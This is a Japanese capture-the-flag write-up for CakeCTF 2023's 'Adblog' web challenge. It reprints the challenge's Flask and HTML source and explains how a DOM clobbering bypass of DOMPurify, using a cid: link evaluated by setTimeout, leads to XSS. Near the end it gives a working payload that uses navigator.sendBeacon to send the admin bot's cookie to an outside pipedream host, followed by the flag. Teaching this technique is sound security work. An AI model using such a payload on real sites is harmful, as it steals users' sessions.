0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

claustra01's Daily CTFAdvent Calendar 2024

Day 22

[web] Adblog (CakeCTF 2023) writeup

Last updated at Posted at 2024-12-22


自由に投稿できるブログサービス。
{72F0D512-99FE-4B74-AF8A-36D886E3DB53}.png

他にもファイルはあるが、一部だけ。例によってadmin botのcookieを窃取できれば良い。

app.py
import base64
import flask
import json
import os
import re
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if flask.request.method == 'GET':
        return flask.render_template("index.html")

    blog_id = os.urandom(32).hex()
    title = flask.request.form.get('title', 'untitled')
    content = flask.request.form.get('content', '<i>empty post</i>')
    if len(title) > 128 or len(content) > 1024*1024:
        return flask.render_template("index.html",
                                     msg="Too long title or content.")

    db().set(blog_id, json.dumps({'title': title, 'content': content}))
    return flask.redirect(f"/blog/{blog_id}")

@app.route('/blog/<blog_id>')
def blog(blog_id):
    if not re.match("^[0-9a-f]{64}$", blog_id):
        return flask.redirect("/")

    blog = db().get(blog_id)
    if blog is None:
        return flask.redirect("/")

    blog = json.loads(blog)
    title = blog['title']
    content = base64.b64encode(blog['content'].encode()).decode()
    return flask.render_template("blog.html", title=title, content=content)


def db():
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()
blog.html
<!DOCTYPE html>
<html>
  <head>
    <title>{{ title }} - AdBlog</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script>
    <link rel="stylesheet" href="/static/css/simple-v1.min.css">
    <link rel="stylesheet" href="/static/css/ad-style.css">
  </head>
  <body>
    <div id="ad-overlay" class="overlay">
      <div class="overlay-content">
        <h3>AdBlock Detected</h3>
        <p>
          The revenue earned from advertising enables us to provide the quality content you're trying to reach on this blog. In order to view the post, we request that you disable adblock in plugin settings.
        </p>
        <button onclick="location.reload();">I have disabld AdBlock</button>
      </div>
    </div>
    <div>
      <!-- Blog -->
      <h1>{{ title }}</h1>
      <div id="content" style="margin: 1em;"></div>
      <hr>
      <!-- Ad -->
      <p style="text-align: center;"><small>Ad by AdBlog</small></p>
      <div id="ad" style="display: none;">
           <div style="margin: 0 auto;text-align:center;overflow:hidden;border-radius:0px;-webkit-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);-moz-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);background:#fff2d2;border:1px solid #000000;padding:1px;max-width:calc(100% - 16px);width:640px">
	         <div class="imgAnim927"  style="display: inline-block;position:relative;vertical-align: middle;padding:8px">
		       <img src="https://2023.cakectf.com/neko.png" style="max-width:100%;width:60px"/>
	         </div>
	         <div class="titleAnim927"  style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:32px;color:#241f31;font-weight:bold">CakeCTF 2023</div>
	         <div  style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:20px;color:#241f31;font-weight:normal">is taking place!</div>
	         <div class="btnAnim927"  style="display:inline-block;position:relative;vertical-align: middle;padding:16px" >
		       <a target="_blank" href="https://2023.cakectf.com/"><input type="button" value="Play Now" style="margin:0px;background:#f5c211;padding:4px;border:2px solid #c01c28;color:#c01c28;border-radius:0px;cursor:pointer;width:80px" /></a></div>
           </div>
      </div>
    </div>
    <script src="/static/js/ads.js"></script>
    <script>
     let content = DOMPurify.sanitize(atob("{{ content }}"));
     document.getElementById("content").innerHTML = content;

     window.onload = async () => {
       if (await detectAdBlock()) {
         showOverlay = () => {
           document.getElementById("ad-overlay").style.width = "100%";
         };
       }

       if (typeof showOverlay === 'undefined') {
         document.getElementById("ad").style.display = "block";
       } else {
         setTimeout(showOverlay, 1000);
       }
     }
    </script>
  </body>
</html>

投稿したデータを展開する実装を見てみる。

 let content = DOMPurify.sanitize(atob("{{ content }}"));
 document.getElementById("content").innerHTML = content;

 window.onload = async () => {
   if (await detectAdBlock()) {
     showOverlay = () => {
       document.getElementById("ad-overlay").style.width = "100%";
     };
   }

   if (typeof showOverlay === 'undefined') {
     document.getElementById("ad").style.display = "block";
   } else {
     setTimeout(showOverlay, 1000);
   }
 }

contentはbase64エンコードしたものがバックエンドから返されており、デコードしてさらにDomPurifyに通している。単純なXSSは厳しそう。

明らかに怪しいAdBlock機能を読む。detectAdBlockの実装はこうなっている。

const ADS_URL = 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js';

async function detectAdBlock(callback) {
    try {
        let res = await fetch(ADS_URL, { method: 'HEAD' });
        return res.status !== 200;
    } catch {
        return true;
    }
}

GoogleAdsから200以外が返ってきたら広告がブロックされていると判断する実装らしい。

もう一度この実装を見ると、showOverlayがグローバル変数になっており、detectAdBlockがtrueの時だけ値をセットしてから別のブロックで改めて処理を走らせている。

   if (await detectAdBlock()) {
     showOverlay = () => {
       document.getElementById("ad-overlay").style.width = "100%";
     };
   }

   if (typeof showOverlay === 'undefined') {
     document.getElementById("ad").style.display = "block";
   } else {
     setTimeout(showOverlay, 1000);
   }

setTimeoutは第一引数に与えられた文字列をjsとして実行するので、detectAdBlockがfalseの状態で任意の文字列を返すshowOverlayを作ることができればXSSが可能。

とりあえず、<div id="showOverlay">のようなタグを作成してあげればDom ClobberringによってshowOverlayと解釈させることができる。

<a>タグはhrefの値を返すので、<a href="alert(1)" id="showOverlay">a</a>のような感じでXSSを発火させることができそう。と思ったが、絶対URLに変換されてhttp://localhost:8001/alert(1)となってしまい、これだとhttp://以降の文字列がコメントアウトされてしまう。

調べていると、詳しい仕様は分からないがcidを使えばURLが変換されず、文字列をそのまま実行できることが分かった。<a href="cid:alert(1)" id="showOverlay">a</a>でXSSが発火する。

payloadを作成する。

<a href="cid:navigator.sendBeacon('https://xxxxxxxx.m.pipedream.net', document.cookie)" id="showOverlay">a</a>

このblogのidをbotに投げるとflagが飛んできた。
CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?